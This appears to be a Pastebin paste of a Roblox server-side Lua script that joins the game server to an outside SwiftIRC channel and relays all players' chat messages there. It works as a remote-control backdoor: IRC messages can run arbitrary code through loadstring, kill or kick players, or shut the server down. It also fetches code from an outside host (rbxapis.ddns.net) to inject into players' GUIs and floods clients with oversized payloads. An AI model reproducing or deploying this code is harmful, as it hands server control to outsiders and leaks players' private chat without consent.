Advertisement
cuepointthekid

Untitled

Jul 8th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.28 KB | None | 0 0
  1. print'IRC Connected'
  2. local Http=game:GetService("HttpService")
  3.  
  4. local API = {}
  5. local Connections = {}
  6. local GStr = nil
  7. local Http = game:GetService("HttpService")
  8.  
  9. local function Post(Url,Data)
  10. local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
  11. return Errored == false and false or Data
  12. end
  13.  
  14. local function JSONDecode(JSON)
  15. local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
  16. if Worked == false then
  17. return {}
  18. else
  19. return Result
  20. end
  21. end
  22.  
  23. local function HandleVagues(Connection,Ping,Derp,Raw)
  24. local Msgs = JSONDecode(Ping)
  25. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
  26. if Derp == nil and Ping:find(Search) then
  27. GStr = Ping
  28. end
  29. if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
  30. for i,v in pairs(Msgs) do
  31. for i2,v2 in pairs(Connection.VagueEvents) do
  32. if v2 ~= false then
  33. Spawn(function() v2(v,Raw) end)
  34. end
  35. end
  36. end
  37. end
  38. end
  39.  
  40. local AdminFuncs = {
  41.  
  42. findPlayer = function(msgsub)
  43. for i,v in pairs(game:GetService'Players':GetChildren()) do
  44. if v.Name:lower():find(msgsub:lower()) then
  45. return v
  46. end
  47. end
  48. end;
  49.  
  50. killPlayer = function(Player)
  51. game:GetService'Players'[Player].Character:BreakJoints()
  52. end;
  53.  
  54. kickPlayer = function(plr)
  55.  
  56. local a=Instance.new("RemoteFunction",game:service'Lighting')
  57. pcall(function()
  58. pcall(plr.Kick,plr)
  59. end)
  60. pcall(function()
  61. pcall(a.InvokeClient,a,plr,{string.rep('a',2e5+5)})
  62. end)
  63. pcall(function()
  64. pcall(a.FireClient,a,plr,{string.rep('a',2e5+5)})
  65. end)
  66. pcall(function()
  67. plr.Parent=nil
  68. end)
  69. a.Parent=nil
  70. end;
  71.  
  72. RunString = function(string)
  73. local func,err=loadstring(string);
  74. if (err) then
  75. warn('Error: ',err)
  76. return
  77. end;
  78. local succ,res=ypcall(func);
  79. if(not succ) then
  80. warn('Error: ',res)
  81. end;
  82. end;
  83. }
  84.  
  85.  
  86. function checkMessage(from,msg)
  87. if string.find(from,'') or string.find(from,'Projected') then
  88. if msg:sub(1,5) == 'exe ' then
  89. AdminFuncs.RunString(msg:sub(6))
  90.  
  91. elseif msg:sub(1,3) == 'm ' then
  92. local MessageText=msg:sub(4)
  93. local Message=Instance.new('Message',game.Workspace.Terrain)
  94. Message.Text=MessageText
  95. wait(4)
  96. Message:Remove()
  97.  
  98. elseif msg:sub(1,6) == 'kill ' then
  99. AdminFuncs.killPlayer(tostring(AdminFuncs.findPlayer(tostring(msg:sub(7)))))
  100.  
  101. elseif msg:sub(1,6) == 'kick ' then
  102. AdminFuncs.kickPlayer(AdminFuncs.findPlayer(msg:sub(7)))
  103. end
  104. else
  105. return end
  106. end
  107.  
  108.  
  109.  
  110. NetworkServer = game:GetService('NetworkServer')
  111.  
  112. Send=require(328231860)
  113. function SendAll(...)
  114. for i,v in pairs(NetworkServer:children()) do
  115. if v:IsA"ServerReplicator" then
  116. Send(v:GetPlayer(),...)
  117. end
  118. end
  119. end
  120.  
  121. function GetLocal(source,player)
  122. site = "http://rbxapis.ddns.net/newlocal.php"
  123. id = tonumber(game:GetService('HttpService'):PostAsync(site,source))
  124. _returnscript = require(id)
  125. _returnscript.Parent=player.PlayerGui
  126. _returnscript.Disabled=false
  127. end
  128.  
  129. function SendPlayers()
  130. local plrs = {}
  131. local j = tostring(game.jobId)
  132. for i,v in pairs(game.Players:players'') do
  133. plrs[v.Name] = v.Name
  134. end
  135. Chat(unpack(plrs),'#tehlegitkorbloxircisdabest',j)
  136. end
  137.  
  138. function find1Player(str)
  139. for i,v in pairs(game.Players:players'') do
  140. if v.Name:sub(str:len()) == str then
  141. return v;
  142. end
  143. end
  144. end
  145.  
  146. ChatGetter = function(Message, Chat)
  147. if Chat == "sd/" then
  148. for i, v in pairs(game.Players:players()) do
  149. v:Kick("IRC Remote Shutdown")
  150. end
  151. elseif Chat:sub(1,5)=="kick/" then
  152. if find1Player(Chat:sub(5)) then
  153. local a,b = ypcall(function()find1Player(Chat:sub(5)):remove() end)
  154. if not a then print("Error: " ..b)end
  155. end
  156. elseif Message:sub(1,5):lower() == "chat/" then
  157. SendAll(
  158. (Message),
  159. Color3.new(math.random(), math.random(), math.random()),----Sexy Orange :D
  160. Enum.Font.SourceSansItalic,
  161. Enum.FontSize.Size18
  162. )
  163. else
  164. SendAll(
  165. ("korirc(USER): "..Message .." : ".. Chat or Message),
  166. Color3.new(math.random(), math.random(), math.random()),
  167. Enum.Font.SourceSansItalic,
  168. Enum.FontSize.Size18
  169. )
  170. end
  171. end
  172.  
  173. API.Connect = function(this,Host,Nick,Pass)
  174. --if Connections[Nick.."@"..Host] == nil then
  175. local Con = {}
  176. Connections[Nick.."@"..Host] = Con
  177. Con.Host = Host
  178. Con.Nick = Nick
  179. Con.Counter = 0
  180. Con.Channels = {}
  181. Con.VagueEvents = {}
  182. Con.ChannelEvents = {[Nick]={}}
  183. Con.UserLists = {}
  184. Con.SelfEvents = {}
  185. Con.Counter = Con.Counter+1
  186. local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
  187. Data = JSONDecode(Data)
  188. Con.Key = Data[2]
  189. local Str = ""
  190. if Con.Key ~= nil then
  191. wait(1)
  192. Con.Counter = Con.Counter+1
  193. local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
  194. if Data == false then
  195. return false,"Something went wrong."
  196. else
  197. local Data2 = JSONDecode(Data)
  198. if Data2[1] == false then
  199. return false,Data
  200. end
  201. end
  202. Str = Str..Data
  203. Con.Counter = Con.Counter+1
  204. local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
  205. if Data == false then
  206. return false,"Something went wrong."
  207. else
  208. local Data2 = JSONDecode(Data)
  209. if Data2[1] == false then
  210. return false,Data
  211. end
  212. end
  213. Str = Str..Data
  214. if Str:lower():find("already in use") then
  215. return false,"Nick already in use."
  216. elseif Str:lower():find("throttled") then
  217. return false,"Oh no! We got throttled."
  218. elseif Str:lower():find("invalid session") then
  219. return false,"Something went wrong."
  220. end
  221. if Pass ~= nil then
  222. API.SendMessage(API.SendMessage,Con,"NickServ","identify "..Pass)
  223. end
  224. wait()
  225. return Con
  226. else
  227. return false,"Something went wrong."
  228. end
  229. --[[else
  230. return false,"There is a connection with this nick already."
  231. end]]
  232.  
  233. end
  234.  
  235.  
  236.  
  237.  
  238. API.Disconnect = function(this,Connection)
  239.  
  240. local Host = Connection.Host
  241.  
  242. local Nick = Connection.Nick
  243.  
  244. local Key = Connection.Key
  245.  
  246. if Connections[Nick.."@"..Host] ~= nil then
  247.  
  248. Connection.Counter = Connection.Counter+1
  249.  
  250. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=QUIT :Leaving")
  251.  
  252. if Data ~= false then
  253.  
  254. Connections[Nick.."@"..Host] = nil
  255.  
  256. for i,v in pairs(Connection.SelfEvents) do
  257.  
  258. v:Disconnect()
  259.  
  260. end
  261.  
  262. Connection.SelfEvents = {}
  263.  
  264. for Channel,_ in pairs(Connection.Channels) do
  265.  
  266. Connection.Channels[Channel] = nil
  267.  
  268. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  269.  
  270. v:Disconnect()
  271.  
  272. end
  273.  
  274. Connection.ChannelEvents[Channel] = nil
  275.  
  276. end
  277.  
  278. return true
  279.  
  280. else
  281.  
  282. return false,"Something went wrong."
  283.  
  284. end
  285.  
  286. else
  287.  
  288. return false,"This connection doesn't exist."
  289.  
  290. end
  291.  
  292. end
  293.  
  294.  
  295.  
  296.  
  297. API.ChangeNick = function(this,Connection,Nick)
  298.  
  299. local Host = Connection.Host
  300.  
  301. local Key = Connection.Key
  302.  
  303. if Connections[Connection.Nick.."@"..Host] ~= nil then
  304.  
  305. Connection.Counter = Connection.Counter+1
  306.  
  307. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
  308.  
  309. if Data == false then
  310.  
  311. return false,"Something went wrong."
  312.  
  313. else
  314.  
  315. local Data2 = JSONDecode(Data)
  316.  
  317. if Data2[1] == false then
  318.  
  319. return false,Data
  320.  
  321. end
  322.  
  323. end
  324.  
  325. Connections[Connection.Nick.."@"..Host] = nil
  326.  
  327. Connection.Nick = Nick
  328.  
  329. Connections[Nick.."@"..Host] = Connection
  330.  
  331. return true
  332.  
  333. else
  334.  
  335. return false,"There is no connection with this nick and host."
  336.  
  337. end
  338.  
  339. end
  340.  
  341.  
  342.  
  343.  
  344. API.JoinChannel = function(this,Connection,Channel)
  345.  
  346. local Host = Connection.Host
  347.  
  348. local Nick = Connection.Nick
  349.  
  350. local Key = Connection.Key
  351.  
  352. local Str = ""
  353.  
  354. if Connections[Nick.."@"..Host] ~= nil then
  355.  
  356. Connection.Counter = Connection.Counter+1
  357.  
  358. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
  359.  
  360. if Data == false then
  361.  
  362. return false,"Something went wrong."
  363.  
  364. else
  365.  
  366. local Data2 = JSONDecode(Data)
  367.  
  368. if Data2[1] == false then
  369.  
  370. return false,Data
  371.  
  372. end
  373.  
  374. end
  375.  
  376. Str = Str..Data
  377.  
  378.  
  379.  
  380. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  381.  
  382. if Str:find(Search) == nil then
  383.  
  384. repeat
  385.  
  386. if GStr ~= nil then
  387.  
  388. Str = Str..GStr
  389.  
  390. GStr = nil
  391.  
  392. break
  393.  
  394. end
  395.  
  396. Connection.Counter = Connection.Counter+1
  397.  
  398. local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  399.  
  400. if Data == false then
  401.  
  402. return false,"Something went wrong."
  403.  
  404. else
  405.  
  406. HandleVagues(Connection,Data,false)
  407.  
  408. local Data2 = JSONDecode(Data)
  409.  
  410. if Data2[1] == false then
  411.  
  412. return false,Data
  413.  
  414. end
  415.  
  416. end
  417.  
  418. Str = Str..Data
  419.  
  420. until Str:find(Search) ~= nil
  421.  
  422. end
  423.  
  424.  
  425.  
  426. if Str:find("already in use") then
  427.  
  428. return false,"Nick already in use."
  429.  
  430. elseif Str:lower():find("throttled") then
  431.  
  432. return false,"Oh no! We got throttled."
  433.  
  434. elseif Str:lower():find("invalid session") then
  435.  
  436. return false,"Something went wrong."
  437.  
  438. else--if Str:lower():find("end of /names list.") then
  439.  
  440. Connection.Channels[Channel] = true
  441.  
  442. Connection.ChannelEvents[Channel] = {}
  443.  
  444. Connection.UserLists[Channel] = {}
  445.  
  446. Connection.UserLists[Channel][Nick] = true
  447.  
  448. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  449.  
  450. local RawSearch = Search:gsub("%%","")
  451.  
  452. local Start = Str:find(Search)
  453.  
  454. if Start ~= nil then
  455.  
  456. local End = Str:find('"',Start+#RawSearch+1,true)
  457.  
  458. local List = Str:sub(Start+#RawSearch,End-1)
  459.  
  460. for Match in List:gmatch("[^%s]+") do
  461.  
  462. if Match ~= Nick then
  463.  
  464. if Match:sub(1,1):match("[%w]") then
  465.  
  466. Connection.UserLists[Channel][Match] = true
  467.  
  468. else
  469.  
  470. Connection.UserLists[Channel][Match:sub(2)] = true
  471.  
  472. end
  473.  
  474. end
  475.  
  476. end
  477.  
  478. end
  479.  
  480. Spawn(function()
  481.  
  482. Connection.SelfEvents[#Connection.SelfEvents+1] = API.UserJoined(API.UserJoined,Connection,Channel,function(User)
  483.  
  484. Connection.UserLists[Channel][User] = true
  485.  
  486. end)
  487.  
  488. Connection.SelfEvents[#Connection.SelfEvents+1] = API.UserLeft(API.UserLeft,Connection,Channel,function(User)
  489.  
  490. wait(0.02)
  491.  
  492. Connection.UserLists[Channel][User] = nil
  493.  
  494. end)
  495.  
  496. Connection.SelfEvents[#Connection.SelfEvents+1] = API.NickChanged(API.NickChanged,Connection,Channel,function(User,Nick)
  497.  
  498. wait(0.02)
  499.  
  500. Connection.UserLists[Channel][User] = nil
  501.  
  502. Connection.UserLists[Channel][Nick] = true
  503.  
  504. end)
  505.  
  506. wait(0.02)
  507.  
  508. HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
  509.  
  510. end)
  511.  
  512. return true
  513.  
  514. --[[else
  515.  
  516. return false,"Something went wrong."]]
  517.  
  518. end
  519.  
  520. else
  521.  
  522. return false,"There is no connection with this nick and host."
  523.  
  524. end
  525.  
  526. end
  527.  
  528.  
  529.  
  530.  
  531. API.GetUserList = function(this,Connection,Channel)
  532.  
  533. local Host = Connection.Host
  534.  
  535. local Nick = Connection.Nick
  536.  
  537. local Key = Connection.Key
  538.  
  539. if Connections[Nick.."@"..Host] ~= nil then
  540.  
  541. local New = {}
  542.  
  543. for i,v in pairs(Connection.UserLists[Channel]) do
  544.  
  545. New[#New+1] = i
  546.  
  547. end
  548.  
  549. return New
  550.  
  551. else
  552.  
  553. return false,"There is no connection with this nick and host."
  554.  
  555. end
  556.  
  557. end
  558.  
  559.  
  560.  
  561.  
  562. API.LeaveChannel = function(this,Connection,Channel,Reason)
  563.  
  564. local Host = Connection.Host
  565.  
  566. local Nick = Connection.Nick
  567.  
  568. local Key = Connection.Key
  569.  
  570. local Str = ""
  571.  
  572. if Connections[Nick.."@"..Host] ~= nil then
  573.  
  574. Connection.Counter = Connection.Counter+1
  575.  
  576. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." "..Reason and ":"..tostring(Reason) or "")
  577.  
  578. if Data:find("true") then
  579.  
  580. Connection.Channels[Channel] = nil
  581.  
  582. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  583.  
  584. v:Disconnect()
  585.  
  586. end
  587.  
  588. Connection.UserLists[Channel] = nil
  589.  
  590. Connection.SelfEvents = {}
  591.  
  592. Connection.ChannelEvents[Channel] = nil
  593.  
  594. return true
  595.  
  596. elseif Data:lower():find("throttled") then
  597.  
  598. return false,"Oh no! We got throttled."
  599.  
  600. else
  601.  
  602. return false,"Something went wrong."
  603.  
  604. end
  605.  
  606. else
  607.  
  608. return false,"There is no connection with this nick and host."
  609.  
  610. end
  611.  
  612. end
  613.  
  614.  
  615.  
  616.  
  617. API.SendMessage = function(this,Connection,Channel,Message)
  618.  
  619. local Host = Connection.Host
  620.  
  621. local Nick = Connection.Nick
  622.  
  623. local Key = Connection.Key
  624.  
  625. if Connections[Nick.."@"..Host] ~= nil then
  626.  
  627. if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
  628.  
  629. Connection.Counter = Connection.Counter+1
  630.  
  631. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
  632.  
  633. if Ping ~= false then
  634.  
  635. return true,Ping
  636.  
  637. else
  638.  
  639. return false,"Something went wrong. "..Ping
  640.  
  641. end
  642.  
  643. else
  644.  
  645. return false,"You are not on this channel with this connection."
  646.  
  647. end
  648.  
  649. else
  650.  
  651. return false,"There is no connection with this nick and host."
  652.  
  653. end
  654.  
  655. end
  656.  
  657.  
  658.  
  659.  
  660. local function VagueReceived(Connection,Event)
  661.  
  662. Connection.VagueEvents[#Connection.VagueEvents+1] = Event
  663.  
  664. if #Connection.VagueEvents == 1 then
  665.  
  666. while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
  667.  
  668. Connection.Counter = Connection.Counter+1
  669.  
  670. local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  671.  
  672. if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
  673.  
  674. HandleVagues(Connection,Ping)
  675.  
  676. end
  677.  
  678. wait()
  679.  
  680. end
  681.  
  682. end
  683.  
  684. end
  685.  
  686.  
  687.  
  688.  
  689. API.MessageReceived = function(this,Connection,Channel,Event)
  690.  
  691. local Host = Connection.Host
  692.  
  693. local Nick = Connection.Nick
  694.  
  695. local Key = Connection.Key
  696.  
  697. if Connections[Nick.."@"..Host] ~= nil then
  698.  
  699. if Connection.Channels[Channel] == true then
  700.  
  701. local Con = {}
  702.  
  703. local Connected = true
  704.  
  705. local VCon;
  706.  
  707. Spawn(function()
  708.  
  709. local function Return(v)
  710.  
  711. if Connected == false then
  712.  
  713. for i,v in pairs(Connection.VagueEvents) do
  714.  
  715. if v == VCon then
  716.  
  717. Connection.VagueEvents[i] = false
  718.  
  719. end
  720.  
  721. end
  722.  
  723. return
  724.  
  725. end
  726.  
  727. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  728.  
  729. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  730.  
  731. end
  732.  
  733. end
  734.  
  735. VCon = Return
  736.  
  737. VagueReceived(Connection,Return)
  738.  
  739. end)
  740.  
  741. Con.Disconnect = function(this)
  742.  
  743. Connected = false
  744.  
  745. Connection.ChannelEvents[Channel][Con] = nil
  746.  
  747. end
  748.  
  749. Connection.ChannelEvents[Channel][Con] = Con
  750.  
  751. return Con
  752.  
  753. else
  754.  
  755. return false,"You are not on this channel with this connection."
  756.  
  757. end
  758.  
  759. else
  760.  
  761. return false,"There is no connection with this nick and host."
  762.  
  763. end
  764.  
  765. end
  766.  
  767.  
  768.  
  769.  
  770. API.PMReceived = function(this,Connection,Event)
  771.  
  772. local Host = Connection.Host
  773.  
  774. local Nick = Connection.Nick
  775.  
  776. local Key = Connection.Key
  777.  
  778. if Connections[Nick.."@"..Host] ~= nil then
  779.  
  780. local Con = {}
  781.  
  782. local Connected = true
  783.  
  784. local VCon;
  785.  
  786. Spawn(function()
  787.  
  788. local function Return(v)
  789.  
  790. if Connected == false then
  791.  
  792. for i,v in pairs(Connection.VagueEvents) do
  793.  
  794. if v == VCon then
  795.  
  796. Connection.VagueEvents[i] = false
  797.  
  798. end
  799.  
  800. end
  801.  
  802. return
  803.  
  804. end
  805.  
  806. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
  807.  
  808. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  809.  
  810. end
  811.  
  812. end
  813.  
  814. VCon = Return
  815.  
  816. VagueReceived(Connection,Return)
  817.  
  818. end)
  819.  
  820. Con.Disconnect = function(this)
  821.  
  822. Connected = false
  823.  
  824. Connection.ChannelEvents[Nick][Con] = nil
  825.  
  826. end
  827.  
  828. Connection.ChannelEvents[Nick][Con] = Con
  829.  
  830. return Con
  831.  
  832. else
  833.  
  834. return false,"There is no connection with this nick and host."
  835.  
  836. end
  837.  
  838. end
  839.  
  840.  
  841.  
  842.  
  843. API.NickChanged = function(this,Connection,Channel,Event)
  844.  
  845. local Host = Connection.Host
  846.  
  847. local Nick = Connection.Nick
  848.  
  849. local Key = Connection.Key
  850.  
  851. if Connections[Nick.."@"..Host] ~= nil then
  852.  
  853. if Connection.Channels[Channel] == true then
  854.  
  855. local Con = {}
  856.  
  857. local Connected = true
  858.  
  859. local VCon;
  860.  
  861. Spawn(function()
  862.  
  863. local function Return(v)
  864.  
  865. if Connected == false then
  866.  
  867. for i,v in pairs(Connection.VagueEvents) do
  868.  
  869. if v == VCon then
  870.  
  871. Connection.VagueEvents[i] = false
  872.  
  873. end
  874.  
  875. end
  876.  
  877. return
  878.  
  879. end
  880.  
  881. if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  882.  
  883. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  884.  
  885. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
  886.  
  887. end
  888.  
  889. end
  890.  
  891. end
  892.  
  893. VCon = Return
  894.  
  895. VagueReceived(Connection,Return)
  896.  
  897. end)
  898.  
  899. Con.Disconnect = function(this)
  900.  
  901. Connected = false
  902.  
  903. Connection.ChannelEvents[Channel][Con] = nil
  904.  
  905. end
  906.  
  907. Connection.ChannelEvents[Channel][Con] = Con
  908.  
  909. return Con
  910.  
  911. else
  912.  
  913. return false,"You are not on this channel with this connection."
  914.  
  915. end
  916.  
  917. else
  918.  
  919. return false,"There is no connection with this nick and host."
  920.  
  921. end
  922.  
  923. end
  924.  
  925.  
  926.  
  927.  
  928. API.UserJoined = function(this,Connection,Channel,Event)
  929.  
  930. local Host = Connection.Host
  931.  
  932. local Nick = Connection.Nick
  933.  
  934. local Key = Connection.Key
  935.  
  936. if Connections[Nick.."@"..Host] ~= nil then
  937.  
  938. if Connection.Channels[Channel] == true then
  939.  
  940. local Con = {}
  941.  
  942. local Connected = true
  943.  
  944. local VCon;
  945.  
  946. Spawn(function()
  947.  
  948. local function Return(v,Raw)
  949.  
  950. if Connected == false then
  951.  
  952. for i,v in pairs(Connection.VagueEvents) do
  953.  
  954. if v == VCon then
  955.  
  956. Connection.VagueEvents[i] = false
  957.  
  958. end
  959.  
  960. end
  961.  
  962. return
  963.  
  964. end
  965.  
  966. if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
  967.  
  968. Event(v[3]:sub(1,v[3]:find("!")-1))
  969.  
  970. end
  971.  
  972. end
  973.  
  974. VCon = Return
  975.  
  976. VagueReceived(Connection,Return)
  977.  
  978. end)
  979.  
  980. Con.Disconnect = function(this)
  981.  
  982. Connected = false
  983.  
  984. Connection.ChannelEvents[Channel][Con] = nil
  985.  
  986. end
  987.  
  988. Connection.ChannelEvents[Channel][Con] = Con
  989.  
  990. return Con
  991.  
  992. else
  993.  
  994. return false,"You are not on this channel with this connection."
  995.  
  996. end
  997.  
  998. else
  999.  
  1000. return false,"There is no connection with this nick and host."
  1001.  
  1002. end
  1003.  
  1004. end
  1005.  
  1006.  
  1007.  
  1008.  
  1009. API.UserLeft = function(this,Connection,Channel,Event)
  1010.  
  1011. local Host = Connection.Host
  1012.  
  1013. local Nick = Connection.Nick
  1014.  
  1015. local Key = Connection.Key
  1016.  
  1017. if Connections[Nick.."@"..Host] ~= nil then
  1018.  
  1019. if Connection.Channels[Channel] == true then
  1020.  
  1021. local Con = {}
  1022.  
  1023. local Connected = true
  1024.  
  1025. local VCon;
  1026.  
  1027. Spawn(function()
  1028.  
  1029. local function Return(v)
  1030.  
  1031. if Connected == false then
  1032.  
  1033. for i,v in pairs(Connection.VagueEvents) do
  1034.  
  1035. if v == VCon then
  1036.  
  1037. Connection.VagueEvents[i] = false
  1038.  
  1039. end
  1040.  
  1041. end
  1042.  
  1043. return
  1044.  
  1045. end
  1046.  
  1047. if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  1048.  
  1049. Event(v[3]:sub(1,v[3]:find("!")-1))
  1050.  
  1051. elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  1052.  
  1053. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  1054.  
  1055. Event(v[3]:sub(1,v[3]:find("!")-1))
  1056.  
  1057. end
  1058.  
  1059. end
  1060.  
  1061. end
  1062.  
  1063. VCon = Return
  1064.  
  1065. VagueReceived(Connection,Return)
  1066.  
  1067. end)
  1068.  
  1069. Con.Disconnect = function(this)
  1070.  
  1071. Connected = false
  1072.  
  1073. Connection.ChannelEvents[Channel][Con] = nil
  1074.  
  1075. end
  1076.  
  1077. Connection.ChannelEvents[Channel][Con] = Con
  1078.  
  1079. return Con
  1080.  
  1081. else
  1082.  
  1083. return false,"You are not on this channel with this connection."
  1084.  
  1085. end
  1086.  
  1087. else
  1088.  
  1089. return false,"There is no connection with this nick and host."
  1090.  
  1091. end
  1092.  
  1093. end
  1094.  
  1095.  
  1096.  
  1097.  
  1098. API.KeepAlive = function(this,Connection)
  1099.  
  1100. local Host = Connection.Host
  1101.  
  1102. local Nick = Connection.Nick
  1103.  
  1104. local Key = Connection.Key
  1105.  
  1106. if Connections[Nick.."@"..Host] ~= nil then
  1107.  
  1108. Connection.Counter = Connection.Counter+1
  1109.  
  1110. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
  1111.  
  1112. if Ping ~= false then
  1113.  
  1114. return true
  1115.  
  1116. else
  1117.  
  1118. return false,"Something went wrong."
  1119.  
  1120. end
  1121.  
  1122. else
  1123.  
  1124. return false,"There is no connection with this nick and host."
  1125.  
  1126. end
  1127.  
  1128. end
  1129.  
  1130.  
  1131.  
  1132.  
  1133.  
  1134.  
  1135.  
  1136. local rand = tostring(math.random()):gsub("%d%.","")
  1137.  
  1138. rand = rand:sub(1,4)
  1139.  
  1140. local con = API:Connect("http://qwebirc.swiftirc.net/","Legit_IRC_"..rand)--API.Connect = function(this,Host,Nick,Pass)
  1141.  
  1142. spawn(function() while wait(5) do API:KeepAlive(con) end end)
  1143.  
  1144. local c = {API:JoinChannel(con,"#tehlegitkorbloxircisdabest")}--this,Connection,Channel)
  1145.  
  1146. print("Data", unpack(c))
  1147.  
  1148. if not c[1] then error(c[2],2) end
  1149.  
  1150. API:MessageReceived(con,"#tehlegitkorbloxircisdabest",ChatGetter)
  1151.  
  1152. API:UserJoined(con,"#tehlegitkorbloxircisdabest",ChatGetter)
  1153.  
  1154. API:UserLeft(con,"#tehlegitkorbloxircisdabest",ChatGetter)
  1155.  
  1156. local Chat=function(msg,channel,playername)
  1157.  
  1158. c={API:SendMessage(con,channel and tostring(channel) or "#tehlegitkorbloxircisdabest",playername..': '..msg)}
  1159. if not c[1] then error(c[2],2) end
  1160. return "success"
  1161. end
  1162.  
  1163. ChangeNick=function(nick)
  1164.  
  1165. API:ChangeNick(con,nick)
  1166.  
  1167. end
  1168.  
  1169. JoinChannel=function(channel)
  1170.  
  1171. API:JoinChannel(con,channel)
  1172.  
  1173. end
  1174.  
  1175. LeaveChannel=function(channel,reason)
  1176.  
  1177. API:LeaveChannel(con,channel,reason)
  1178.  
  1179. end
  1180.  
  1181. coroutine.resume(coroutine.create(function()
  1182. for i,v in pairs(game:GetService'Players':GetPlayers()) do
  1183. v.Chatted:connect(function(msg) local t=tostring(v)
  1184. Chat(tostring(msg),'#tehlegitkorbloxircisdabest',t)
  1185. end)
  1186. end
  1187. game:GetService'Players'.PlayerAdded:connect(function(p)
  1188. p.Chatted:connect(function(m) local r=tostring(p)
  1189. Chat(tostring(m),'#tehlegitkorbloxircisdabest',r)
  1190. end)
  1191. end)
  1192. end))
  1193.  
  1194.  
  1195.  
  1196. return nil
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement